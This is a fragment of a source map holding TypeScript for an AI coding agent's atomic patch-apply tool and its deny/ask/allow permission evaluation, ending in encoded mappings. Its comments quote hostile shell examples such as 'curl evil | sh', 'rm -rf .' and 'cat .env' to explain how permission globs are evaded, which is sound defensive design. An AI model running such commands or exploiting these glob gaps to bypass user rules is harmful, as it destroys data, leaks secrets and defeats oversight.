{ text: string; mismatch?: ToolResult } {\r\n let lines = linesOf(text);\r\n let trailingNewline = text.endsWith('\\n');\r\n for (let hunkIndex = 0; hunkIndex < hunks.length; hunkIndex++) {\r\n const hunk = hunks[hunkIndex];\r\n const oldLines = hunk.lines.filter((line) => line.kind !== 'add').map((line) => line.text);\r\n const newLines = hunk.lines.filter((line) => line.kind !== 'remove').map((line) => line.text);\r\n const match = findUniqueSequence(lines, oldLines);\r\n if (match.count === 0)\r\n return {\r\n text,\r\n mismatch: toolFailure(`Hunk ${hunkIndex + 1}: patch context not found`, {\r\n code: 'patch_context_not_found',\r\n remediation:\r\n 'Reread the affected range and regenerate the hunk against the latest file contents.',\r\n details: {\r\n hunkIndex: hunkIndex + 1,\r\n header: hunk.header,\r\n firstContextLine: oldLines[0]?.slice(0, 200),\r\n closestCandidateLine: oldLines[0] ? candidateLine(lines, oldLines[0]) : undefined,\r\n suggestedReadRange:\r\n hunk.oldStart !== undefined\r\n ? {\r\n lineStart: Math.max(1, hunk.oldStart - 3),\r\n lineEnd: hunk.oldStart + oldLines.length + 3,\r\n }\r\n : undefined,\r\n },\r\n }),\r\n };\r\n if (match.count > 1)\r\n return {\r\n text,\r\n mismatch: toolFailure(`Hunk ${hunkIndex + 1}: patch context is ambiguous`, {\r\n code: 'ambiguous_patch_context',\r\n remediation: 'Reread a narrower range and include more exact context lines.',\r\n details: { hunkIndex: hunkIndex + 1, header: hunk.header, matches: match.count },\r\n }),\r\n };\r\n const touchesEndOfFile = match.index + oldLines.length === lines.length;\r\n lines = [\r\n ...lines.slice(0, match.index),\r\n ...newLines,\r\n ...lines.slice(match.index + oldLines.length),\r\n ];\r\n if (touchesEndOfFile) {\r\n const oldNoNewline = hunk.lines.some((line) => line.kind !== 'add' && line.noNewline);\r\n const newNoNewline = hunk.lines.some((line) => line.kind !== 'remove' && line.noNewline);\r\n if (newNoNewline) trailingNewline = false;\r\n else if (oldNoNewline) trailingNewline = true;\r\n }\r\n }\r\n return { text: lines.join('\\n') + (trailingNewline && lines.length > 0 ? '\\n' : '') };\r\n}\r\n\r\nfunction mutationFromDiff(\r\n relativePath: string,\r\n kind: FileMutationSummary['kind'],\r\n stats: { addedLines: number; removedLines: number },\r\n): FileMutationSummary {\r\n return {\r\n kind,\r\n filePath: relativePath,\r\n addedLines: stats.addedLines,\r\n removedLines: stats.removedLines,\r\n };\r\n}\r\n\r\nfunction errorCodeFor(error: unknown): string {\r\n return error instanceof Error && error.message.includes('changed or disappeared')\r\n ? 'stale_file_observation'\r\n : 'filesystem_error';\r\n}\r\n\r\nasync function applyPatch(args: Record<string, unknown>, ctx: ToolContext): Promise<ToolResult> {\r\n const parsed = parsePatch(args.patch);\r\n if (!('operations' in parsed)) return parsed;\r\n const paths = parsed.operations.map((operation) => operation.path);\r\n const resolved = parsed.operations.map((operation) => {\r\n const result = resolveWorkspacePath(ctx.workspaceRoot, operation.path);\r\n return result ? { operation, ...result } : null;\r\n });\r\n if (resolved.some((entry) => !entry))\r\n return pathOutsideWorkspaceResult(paths[resolved.findIndex((entry) => !entry)]);\r\n const entries = resolved as Array<{\r\n operation: PatchOperation;\r\n filePath: string;\r\n canonicalPath: string;\r\n relativePath: string;\r\n }>;\r\n const canonicalKeys = entries.map((entry) =>\r\n process.platform === 'win32' ? entry.canonicalPath.toLowerCase() : entry.canonicalPath,\r\n );\r\n if (new Set(canonicalKeys).size !== canonicalKeys.length)\r\n return toolFailure('A patch may contain only one operation per file', {\r\n code: 'patch_conflict',\r\n remediation: 'Combine related updates into one file operation with multiple hunks.',\r\n });\r\n\r\n return withMutationLocks(\r\n entries.map((entry) => entry.canonicalPath),\r\n async () => {\r\n const staged: StagedFile[] = [];\r\n try {\r\n for (const entry of entries) {\r\n throwIfAborted(ctx.signal);\r\n const before = await readTextSnapshot(entry.filePath, entry.operation.kind === 'add');\r\n if (before.binary)\r\n return toolFailure(`Binary file is unsupported: ${entry.relativePath}`, {\r\n code: 'binary_file_unsupported',\r\n remediation: 'Use a text file mutation or a dedicated binary workflow.',\r\n });\r\n if (before.mixedLineEndings && entry.operation.kind === 'update')\r\n return toolFailure(\r\n `Mixed line endings are unsupported for patch updates: ${entry.relativePath}`,\r\n {\r\n code: 'patch_conflict',\r\n remediation:\r\n 'Normalize the file line endings, reread it, and regenerate the patch.',\r\n details: { filePath: entry.relativePath, lineEnding: 'mixed' },\r\n },\r\n );\r\n const stale =\r\n entry.operation.kind === 'add'\r\n ? undefined\r\n : await requireFreshObservation(ctx, entry.filePath, entry.relativePath);\r\n if (stale)\r\n return toolFailure(stale, {\r\n code: 'stale_file_observation',\r\n remediation: 'Call Read before regenerating the patch.',\r\n });\r\n if (entry.operation.kind === 'add') {\r\n if (before.exists)\r\n return toolFailure(`File already exists: ${entry.relativePath}`, {\r\n code: 'patch_conflict',\r\n remediation: 'Use Update File for an existing file.',\r\n });\r\n const afterText =\r\n entry.operation.lines.join('\\n') + (entry.operation.lines.length > 0 ? '\\n' : '');\r\n const { stats } = await renderDiffWithStatsAsync('', afterText, 3, ctx.signal);\r\n staged.push({\r\n operation: entry.operation,\r\n absolutePath: entry.filePath,\r\n writePath: entry.canonicalPath,\r\n relativePath: entry.relativePath,\r\n before,\r\n afterText,\r\n afterBytes: Buffer.from(afterText, 'utf8'),\r\n mutation: mutationFromDiff(entry.relativePath, 'create', stats),\r\n });\r\n } else if (entry.operation.kind === 'delete') {\r\n if (!before.exists)\r\n return toolFailure(`File not found: ${entry.relativePath}`, {\r\n code: 'patch_conflict',\r\n remediation: 'Reread the workspace and regenerate the patch.',\r\n });\r\n staged.push({\r\n operation: entry.operation,\r\n absolutePath: entry.filePath,\r\n writePath: entry.filePath,\r\n relativePath: entry.relativePath,\r\n before,\r\n mutation: {\r\n kind: 'delete',\r\n filePath: entry.relativePath,\r\n addedLines: 0,\r\n removedLines: linesOf(before.text).length,\r\n },\r\n });\r\n } else {\r\n if (!before.exists)\r\n return toolFailure(`File not found: ${entry.relativePath}`, {\r\n code: 'patch_context_not_found',\r\n remediation: 'Reread the file and regenerate the patch.',\r\n });\r\n const applied = applyHunks(before.text, entry.operation.hunks);\r\n if (applied.mismatch)\r\n return toolFailure(\r\n `${entry.relativePath}: ${applied.mismatch.structuredError?.message}`,\r\n {\r\n ...applied.mismatch.structuredError,\r\n code: applied.mismatch.structuredError?.code ?? 'patch_context_not_found',\r\n remediation: applied.mismatch.structuredError?.remediation,\r\n details: {\r\n ...applied.mismatch.structuredError?.details,\r\n filePath: entry.relativePath,\r\n lineEnding: before.mixedLineEndings ? 'mixed' : before.lineEnding,\r\n normalizedMatching: true,\r\n },\r\n },\r\n );\r\n const afterText = applied.text;\r\n const { stats } = await renderDiffWithStatsAsync(before.text, afterText, 3, ctx.signal);\r\n staged.push({\r\n operation: entry.operation,\r\n absolutePath: entry.filePath,\r\n writePath: entry.canonicalPath,\r\n relativePath: entry.relativePath,\r\n before,\r\n afterText,\r\n afterBytes: restoreTextEncoding(afterText, before),\r\n mutation: mutationFromDiff(entry.relativePath, 'update', stats),\r\n });\r\n }\r\n }\r\n\r\n const mutations = staged.map((file) => file.mutation);\r\n const changedLines = mutations.reduce(\r\n (total, mutation) => total + mutation.addedLines + mutation.removedLines,\r\n 0,\r\n );\r\n const contextLines = parsed.operations.reduce(\r\n (total, operation) =>\r\n total +\r\n (operation.kind === 'update'\r\n ? operation.hunks.reduce(\r\n (hunkTotal, hunk) =>\r\n hunkTotal + hunk.lines.filter((line) => line.kind === 'context').length,\r\n 0,\r\n )\r\n : 0),\r\n 0,\r\n );\r\n const changeBudgetWarnings: string[] = [];\r\n if (changedLines > 2_000) changeBudgetWarnings.push('large_change');\r\n if (changedLines > 100 && changedLines > Math.max(1, contextLines) * 20)\r\n changeBudgetWarnings.push('low_context_to_change_ratio');\r\n\r\n const diffs: string[] = [];\r\n for (const file of staged) {\r\n throwIfAborted(ctx.signal);\r\n const afterText = file.afterText ?? '';\r\n const { diff } = await renderDiffWithStatsAsync(\r\n file.before.text,\r\n afterText,\r\n 3,\r\n ctx.signal,\r\n );\r\n if (diff) diffs.push(`--- ${file.relativePath}\\n+++ ${file.relativePath}\\n${diff}`);\r\n }\r\n const committed: StagedFile[] = [];\r\n try {\r\n for (const file of staged) {\r\n throwIfAborted(ctx.signal);\r\n committed.push(file);\r\n if (file.operation.kind === 'delete')\r\n await removeFileAtomically(file.absolutePath, ctx.signal);\r\n else\r\n await writeFileAtomically(\r\n file.writePath,\r\n file.afterBytes!,\r\n ctx.signal,\r\n file.before.mode,\r\n );\r\n const check = await readTextSnapshot(\r\n file.absolutePath,\r\n file.operation.kind === 'delete',\r\n );\r\n if (\r\n file.operation.kind === 'delete'\r\n ? check.exists\r\n : !check.exists || !check.bytes.equals(file.afterBytes!)\r\n )\r\n throw new Error(`Post-write verification failed for ${file.relativePath}`);\r\n }\r\n } catch (error) {\r\n let rollbackFailed = false;\r\n for (const file of committed.reverse()) {\r\n try {\r\n if (file.before.exists)\r\n await writeFileAtomically(\r\n file.writePath,\r\n file.before.bytes,\r\n undefined,\r\n file.before.mode,\r\n );\r\n else await removeFileAtomically(file.absolutePath).catch(() => undefined);\r\n } catch {\r\n rollbackFailed = true;\r\n }\r\n }\r\n return toolFailure(\r\n `Patch commit failed${rollbackFailed ? '; rollback also failed' : ' and was rolled back'}: ${error instanceof Error ? error.message : String(error)}`,\r\n {\r\n code: rollbackFailed ? 'patch_rollback_failed' : 'filesystem_error',\r\n remediation: rollbackFailed\r\n ? 'Inspect the affected files and restore them manually.'\r\n : 'Retry after checking the workspace state.',\r\n },\r\n );\r\n }\r\n\r\n const observations = [];\r\n for (const file of staged) {\r\n if (file.operation.kind !== 'delete')\r\n observations.push(\r\n await observeFile(\r\n ctx,\r\n file.absolutePath,\r\n file.operation.kind === 'add' ? 'create' : 'edit',\r\n ),\r\n );\r\n }\r\n const result = toolSuccess(\r\n diffs.join('\\n') || 'Patch applied successfully (no textual change)',\r\n {\r\n data: {\r\n files: mutations.map((mutation) => mutation.filePath),\r\n changedFiles: mutations.length,\r\n changedLines,\r\n patchBytes: parsed.bytes,\r\n changeBudgetWarnings,\r\n },\r\n artifacts: {\r\n fileMutation: mutations[0],\r\n fileMutations: mutations,\r\n fileObservations: observations,\r\n },\r\n presentation: {\r\n kind: 'diff',\r\n summary: `Applied patch to ${mutations.length} ${mutations.length === 1 ? 'file' : 'files'}`,\r\n target: mutations.length === 1 ? mutations[0].filePath : `${mutations.length} files`,\r\n },\r\n },\r\n );\r\n return result;\r\n } catch (error) {\r\n const code = errorCodeFor(error);\r\n return toolFailure(error instanceof Error ? error.message : String(error), {\r\n code,\r\n remediation: 'Reread the affected file and regenerate the patch.',\r\n });\r\n }\r\n },\r\n );\r\n}\r\n\r\nexport const patchTools: ToolDefinition[] = [\r\n {\r\n name: 'ApplyPatch',\r\n argumentAliases: { input: 'patch' },\r\n description:\r\n 'Apply a Codex-style patch with Update File, Add File, or Delete File operations across one or more files atomically. Read the targets first; use exact contextual hunks, and regenerate the patch after a context mismatch instead of resending it unchanged.',\r\n parameters: {\r\n type: 'object',\r\n properties: {\r\n patch: {\r\n type: 'string',\r\n minLength: 1,\r\n maxLength: MAX_PATCH_BYTES,\r\n description: 'Patch text beginning with *** Begin Patch and ending with *** End Patch',\r\n },\r\n baseObservation: {\r\n type: 'string',\r\n maxLength: 128,\r\n description:\r\n 'Optional short observation identifier for diagnostics; freshness is checked implicitly.',\r\n },\r\n },\r\n required: ['patch'],\r\n additionalProperties: false,\r\n },\r\n execute: applyPatch,\r\n },\r\n];\r\n","import type { ResolvedSettings } from './settings.js';\r\nimport type { PermissionDecision, PermissionResult, ToolCall } from './types/tools.js';\r\nimport { canonicalToolName } from './tools/aliases.js';\r\nimport { getPrimaryArg } from './tools/primary-arg.js';\r\nimport { globToRegex } from './tools/glob-regex.js';\r\nimport { parsePatch, type PatchOperation } from './tools/patch.js';\r\nimport { sandboxCoverage } from './sandbox.js';\r\n\r\n/**\r\n * Parse a permission rule string like \"Bash(git *)\" or \"Read(./.env)\" into\r\n * { toolName, pattern }. The pattern is a glob matched against the tool's\r\n * primary argument. A bare \"Tool\" (no parens) means match any argument.\r\n * Empty parens \"Tool()\" also means match any argument.\r\n */\r\nexport interface ParsedRule {\r\n toolName: string;\r\n /** Glob pattern for the primary argument, or null for match-all. */\r\n pattern: string | null;\r\n}\r\n\r\nexport interface PermissionVerdict {\r\n decision: 'allow' | 'deny' | 'ask';\r\n matchedRule?: string;\r\n source?: 'allow' | 'deny' | 'ask' | 'default' | 'sandbox';\r\n}\r\n\r\n/**\r\n * Seams for permission evaluation. `sandboxBackendAvailable` exists so tests can\r\n * exercise the missing-bwrap branch on a host that has bwrap installed; nothing\r\n * in production passes it.\r\n */\r\nexport interface PermissionEvaluationOptions {\r\n sandboxBackendAvailable?: () => boolean;\r\n}\r\n\r\nexport function parseRule(rule: string): ParsedRule {\r\n const parenIdx = rule.indexOf('(');\r\n if (parenIdx === -1) {\r\n return { toolName: rule.trim(), pattern: null };\r\n }\r\n const toolName = rule.slice(0, parenIdx).trim();\r\n const closeIdx = rule.lastIndexOf(')');\r\n if (closeIdx === -1 || closeIdx <= parenIdx) {\r\n // Malformed — treat as bare tool name.\r\n return { toolName, pattern: null };\r\n }\r\n const pattern = rule.slice(parenIdx + 1, closeIdx).trim();\r\n return { toolName, pattern: pattern.length === 0 ? null : pattern };\r\n}\r\n\r\n/**\r\n * Normalize a path-like string for matching: strip leading `./` so that\r\n * `./.env` and `.env` are equivalent. Non-path args (commands, queries)\r\n * pass through unchanged.\r\n */\r\nfunction normalizePathArg(s: string): string {\r\n if (s.startsWith('./')) return s.slice(2);\r\n return s;\r\n}\r\n\r\n/**\r\n * Check whether a parsed rule matches a tool call. Both the rule pattern\r\n * and the primary argument are path-normalized (leading `./` stripped) for\r\n * Read/Write/Edit-style tools so `Read(./.env)` matches a call with\r\n * `filePath: \".env\"`.\r\n */\r\nfunction toolNameMatchesRule(ruleToolName: string, toolName: string): boolean {\r\n if (ruleToolName === toolName) return true;\r\n if (!ruleToolName.startsWith('mcp__')) return false;\r\n const serverName = ruleToolName.slice('mcp__'.length);\r\n // A bare MCP server namespace (mcp__github) intentionally covers every\r\n // tool from that server. A full tool rule remains exact.\r\n return Boolean(\r\n serverName && !serverName.includes('__') && toolName.startsWith(`${ruleToolName}__`),\r\n );\r\n}\r\n\r\nfunction ruleMatches(rule: ParsedRule, toolName: string, primaryArg: string): boolean {\r\n if (!toolNameMatchesRule(rule.toolName, toolName)) return false;\r\n if (rule.pattern === null) return true; // match-all\r\n const normalizedArg = normalizePathArg(primaryArg);\r\n const normalizedPattern = rule.pattern.startsWith('./') ? rule.pattern.slice(2) : rule.pattern;\r\n return globToRegex(normalizedPattern).test(normalizedArg);\r\n}\r\n\r\nexport function permissionRuleForToolCall(call: ToolCall): string {\r\n const toolName = canonicalToolName(call.name);\r\n const primaryArg = getPrimaryArg(call.arguments);\r\n if (toolName === 'WebSearch') return toolName;\r\n if (toolName === 'WebFetch' && primaryArg) {\r\n try {\r\n const url = new URL(primaryArg);\r\n return `${toolName}(${url.origin}/**)`;\r\n } catch {\r\n // An invalid URL must not widen into a tool-wide permission.\r\n }\r\n }\r\n return primaryArg ? `${toolName}(${primaryArg})` : toolName;\r\n}\r\n\r\n/**\r\n * Read an approver's answer, which may be a bare result or one naming a rule.\r\n *\r\n * Approvers that cannot widen a scope — the print-mode prompt, managed agents —\r\n * keep returning the string, so only the surface that offers the choice has to\r\n * know the richer shape exists.\r\n */\r\nexport function permissionResultOf(decision: PermissionResult | PermissionDecision) {\r\n return typeof decision === 'string' ? decision : decision.result;\r\n}\r\n\r\n/** The rule an approver picked, or `undefined` to derive it from the call. */\r\nexport function permissionRuleOf(\r\n decision: PermissionResult | PermissionDecision,\r\n): string | undefined {\r\n return typeof decision === 'string' ? undefined : decision.rule;\r\n}\r\n\r\n/** How many rules the \"Always allow\" scope ladder may offer, exact included. */\r\nconst RULE_LADDER_MAX = 3;\r\n\r\n/**\r\n * Shell characters that chain or redirect one command into another.\r\n *\r\n * A widened rule is a glob over the whole command string and `*` crosses\r\n * anything, so `Bash(npm *)` would also match `npm x && curl evil | sh`. Book\r\n * cannot express \"and nothing else\" in its glob language, so it declines to\r\n * offer a widened rule when the command it learned from is already a compound\r\n * one: the user would be generalizing from an example whose shape they cannot\r\n * see repeated.\r\n */\r\nconst SHELL_CHAINING = /[;&|><`$(){}\\n]/;\r\n\r\n/**\r\n * Rules the \"Always allow\" button may write, narrowest first.\r\n *\r\n * The exact rule is always first and is what the button offers by default. For\r\n * a shell command it is also nearly useless: `Bash(npm run check)` matches that\r\n * byte sequence and nothing else, so a user who pressed \"Always allow\" to stop\r\n * being asked was asked again on the very next call. The remaining entries drop\r\n * one trailing token at a time — `npm run check` offers `npm run *` then\r\n * `npm *` — and the caller must show the pattern it is about to write, because\r\n * the difference between these is the whole decision.\r\n *\r\n * Only Bash gets a ladder. Paths are already reusable as written, and WebFetch\r\n * globs its own origin in {@link permissionRuleForToolCall}.\r\n */\r\nexport function permissionRuleLadder(call: ToolCall): string[] {\r\n const exact = permissionRuleForToolCall(call);\r\n if (canonicalToolName(call.name) !== 'Bash') return [exact];\r\n\r\n const command = getPrimaryArg(call.arguments).trim();\r\n if (!command || SHELL_CHAINING.test(command)) return [exact];\r\n\r\n const tokens = command.split(/\\s+/);\r\n const ladder = [exact];\r\n for (let take = tokens.length - 1; take >= 1 && ladder.length < RULE_LADDER_MAX; take -= 1) {\r\n const prefix = `Bash(${tokens.slice(0, take).join(' ')} *)`;\r\n if (!ladder.includes(prefix)) ladder.push(prefix);\r\n }\r\n return ladder;\r\n}\r\n\r\nexport function permissionRuleMatchesCall(rule: string, call: ToolCall): boolean {\r\n const toolName = canonicalToolName(call.name);\r\n const primaryArg = getPrimaryArg(call.arguments);\r\n if (toolName === 'WebFetch' && primaryArg) {\r\n try {\r\n // URL.toString() gives origin roots a trailing slash, matching the remembered origin glob.\r\n return ruleMatches(parseRule(rule), toolName, new URL(primaryArg).toString());\r\n } catch {\r\n // Invalid URLs retain the normal raw-argument matching behavior.\r\n }\r\n }\r\n return ruleMatches(parseRule(rule), toolName, primaryArg);\r\n}\r\n\r\nfunction patchOperations(args: Record<string, unknown>): PatchOperation[] {\r\n const parsed = parsePatch(args.patch);\r\n return 'operations' in parsed ? parsed.operations : [];\r\n}\r\n\r\nfunction ruleMatchesPatch(rule: ParsedRule, path: string): boolean {\r\n return ruleMatches(rule, rule.toolName, path);\r\n}\r\n\r\nfunction patchRuleSupportsOperation(rule: ParsedRule, operation: PatchOperation): boolean {\r\n if (rule.toolName === 'ApplyPatch') return true;\r\n if (rule.toolName === 'Edit') return operation.kind === 'update';\r\n if (rule.toolName === 'Write') return operation.kind === 'update' || operation.kind === 'add';\r\n return false;\r\n}\r\n\r\nfunction compatiblePatchRuleMatches(rule: ParsedRule, operations: PatchOperation[]): boolean {\r\n if (!['ApplyPatch', 'Edit', 'Write'].includes(rule.toolName)) return false;\r\n if (rule.toolName === 'ApplyPatch' && rule.pattern === null) return true;\r\n return operations.some(\r\n (operation) =>\r\n patchRuleSupportsOperation(rule, operation) &&\r\n (rule.pattern === null || ruleMatchesPatch(rule, operation.path)),\r\n );\r\n}\r\n\r\n/**\r\n * Extract the primary argument from a tool call for rule matching.\r\n * Delegates to the shared getPrimaryArg utility.\r\n */\r\nexport function primaryArgForRule(_toolName: string, args: Record<string, unknown>): string {\r\n return getPrimaryArg(args);\r\n}\r\n\r\n/**\r\n * Has the user asked to be consulted about anything at all?\r\n *\r\n * A shell command line is not a primary argument the way a file path is: one\r\n * line can read a file, write a file, reach the network, and chain three more\r\n * commands behind `&&`. A `deny` or `ask` glob therefore only ever matches the\r\n * shapes the user thought to write down — `deny: [\"Bash(rm *)\"]` does not match\r\n * `true && rm -rf .` — and it is the *default ask* underneath that catches\r\n * everything the glob missed, including the same action performed through a\r\n * different tool (`cat .env` against a `Read` deny, `curl` against a `WebFetch`\r\n * deny).\r\n *\r\n * So the presence of any hand-written deny/ask rule is treated as the user\r\n * saying \"adjudicate my shell commands\", and the default ask stays. Removing it\r\n * would turn every such rule from a floor into a list of exact strings to avoid.\r\n */\r\nexport function hasAdjudicationPolicy(settings: ResolvedSettings): boolean {\r\n return settings.permissions.deny.length > 0 || settings.permissions.ask.length > 0;\r\n}\r\n\r\n/**\r\n * Would `sandbox.autoAllowBashIfSandboxed` allow this call without a prompt?\r\n *\r\n * True only for a Bash call whose exact command text genuinely executes inside\r\n * a bubblewrap namespace. The command is read straight off `args.command` and\r\n * trimmed — byte-for-byte what `buildEffectiveCommand` in tools/shell.ts\r\n * matches against `excludedCommands` — rather than through `getPrimaryArg`,\r\n * which truncates to the first line. Judging a different string here than the\r\n * Bash tool judges is how \"sandboxed, so auto-allow\" and \"excluded, so run it\r\n * on the host\" end up applying to the same call.\r\n *\r\n * It is also true only when the user wrote no deny/ask rules at all\r\n * ({@link hasAdjudicationPolicy}). The bubblewrap namespace binds the workspace\r\n * read-write and shares the host network unless a domain policy is declared, so\r\n * \"sandboxed\" bounds the blast radius to the workspace — it does not make the\r\n * command harmless, and it is not a substitute for a prompt the user asked for.\r\n */\r\nfunction sandboxAutoAllows(\r\n toolName: string,\r\n args: Record<string, unknown>,\r\n settings: ResolvedSettings,\r\n options: PermissionEvaluationOptions,\r\n): boolean {\r\n if (!settings.sandbox.autoAllowBashIfSandboxed) return false;\r\n if (canonicalToolName(toolName) !== 'Bash') return false;\r\n if (hasAdjudicationPolicy(settings)) return false;\r\n const command = typeof args.command === 'string' ? args.command.trim() : '';\r\n if (!command) return false;\r\n return sandboxCoverage(command, settings.sandbox, options.sandboxBackendAvailable).sandboxed;\r\n}\r\n\r\n/**\r\n * Evaluate permission rules against a tool call. Rules are evaluated in\r\n * CC's order: deny → ask → allow. First match wins.\r\n *\r\n * Returns 'allow', 'deny', or 'ask' (the default when no rule matches).\r\n */\r\nexport function evaluatePermission(\r\n toolName: string,\r\n args: Record<string, unknown>,\r\n settings: ResolvedSettings,\r\n options: PermissionEvaluationOptions = {},\r\n): 'allow' | 'deny' | 'ask' {\r\n return evaluatePermissionDetail(toolName, args, settings, options).decision;\r\n}\r\n\r\nexport function evaluatePermissionDetail(\r\n toolName: string,\r\n args: Record<string, unknown>,\r\n settings: ResolvedSettings,\r\n options: PermissionEvaluationOptions = {},\r\n): PermissionVerdict {\r\n const { deny, ask, allow } = settings.permissions;\r\n\r\n // ApplyPatch is the canonical mutation surface, but existing Edit/Write rules\r\n // remain valid for compatibility. A multi-file patch is allowed only when every\r\n // target is covered; a deny on any target wins.\r\n if (toolName === 'ApplyPatch') {\r\n const operations = patchOperations(args);\r\n const compatible = (ruleStr: string) => {\r\n const rule = parseRule(ruleStr);\r\n return (\r\n rule.toolName === 'ApplyPatch' || rule.toolName === 'Edit' || rule.toolName === 'Write'\r\n );\r\n };\r\n for (const ruleStr of deny) {\r\n if (!compatible(ruleStr)) continue;\r\n const rule = parseRule(ruleStr);\r\n if (compatiblePatchRuleMatches(rule, operations))\r\n return { decision: 'deny', matchedRule: ruleStr, source: 'deny' };\r\n }\r\n for (const ruleStr of ask) {\r\n if (!compatible(ruleStr)) continue;\r\n const rule = parseRule(ruleStr);\r\n if (compatiblePatchRuleMatches(rule, operations))\r\n return { decision: 'ask', matchedRule: ruleStr, source: 'ask' };\r\n }\r\n const allowRules = allow.filter(compatible).map(parseRule);\r\n if (\r\n operations.length > 0 &&\r\n operations.every((operation) =>\r\n allowRules.some(\r\n (rule) =>\r\n patchRuleSupportsOperation(rule, operation) &&\r\n (rule.pattern === null || ruleMatchesPatch(rule, operation.path)),\r\n ),\r\n )\r\n ) {\r\n return { decision: 'allow', matchedRule: allow.find(compatible), source: 'allow' };\r\n }\r\n if (allowRules.some((rule) => rule.toolName === 'ApplyPatch' && rule.pattern === null)) {\r\n return { decision: 'allow', matchedRule: allow.find(compatible), source: 'allow' };\r\n }\r\n return { decision: 'ask', source: 'default' };\r\n }\r\n\r\n const call: ToolCall = { id: 'permission-evaluation', name: toolName, arguments: args };\r\n\r\n // Deny rules first.\r\n for (const ruleStr of deny) {\r\n if (permissionRuleMatchesCall(ruleStr, call)) {\r\n return { decision: 'deny', matchedRule: ruleStr, source: 'deny' };\r\n }\r\n }\r\n\r\n // Ask rules second.\r\n for (const ruleStr of ask) {\r\n if (permissionRuleMatchesCall(ruleStr, call)) {\r\n return { decision: 'ask', matchedRule: ruleStr, source: 'ask' };\r\n }\r\n }\r\n\r\n // Allow rules third.\r\n for (const ruleStr of allow) {\r\n if (permissionRuleMatchesCall(ruleStr, call)) {\r\n return { decision: 'allow', matchedRule: ruleStr, source: 'allow' };\r\n }\r\n }\r\n\r\n // `sandbox.autoAllowBashIfSandboxed` is evaluated last, and only in place of\r\n // the *default* ask. Every user-written rule outranks it: a matching `deny`\r\n // has already returned above and can never be softened into an allow (the\r\n // property the hard-deny check in the agent loop depends on), a matching\r\n // `ask` still prompts, and — because a shell line evades globs far too easily\r\n // — a deny/ask list that exists but did not match keeps the default ask too.\r\n // The setting only removes the prompt Book raises when the user configured no\r\n // adjudication at all, and only for a command really confined by bubblewrap.\r\n if (sandboxAutoAllows(toolName, args, settings, options)) {\r\n return { decision: 'allow', source: 'sandbox' };\r\n }\r\n\r\n // No rule matched — default to asking.\r\n return { decision: 'ask', source: 'default' };\r\n}\r\n"],"mappings":"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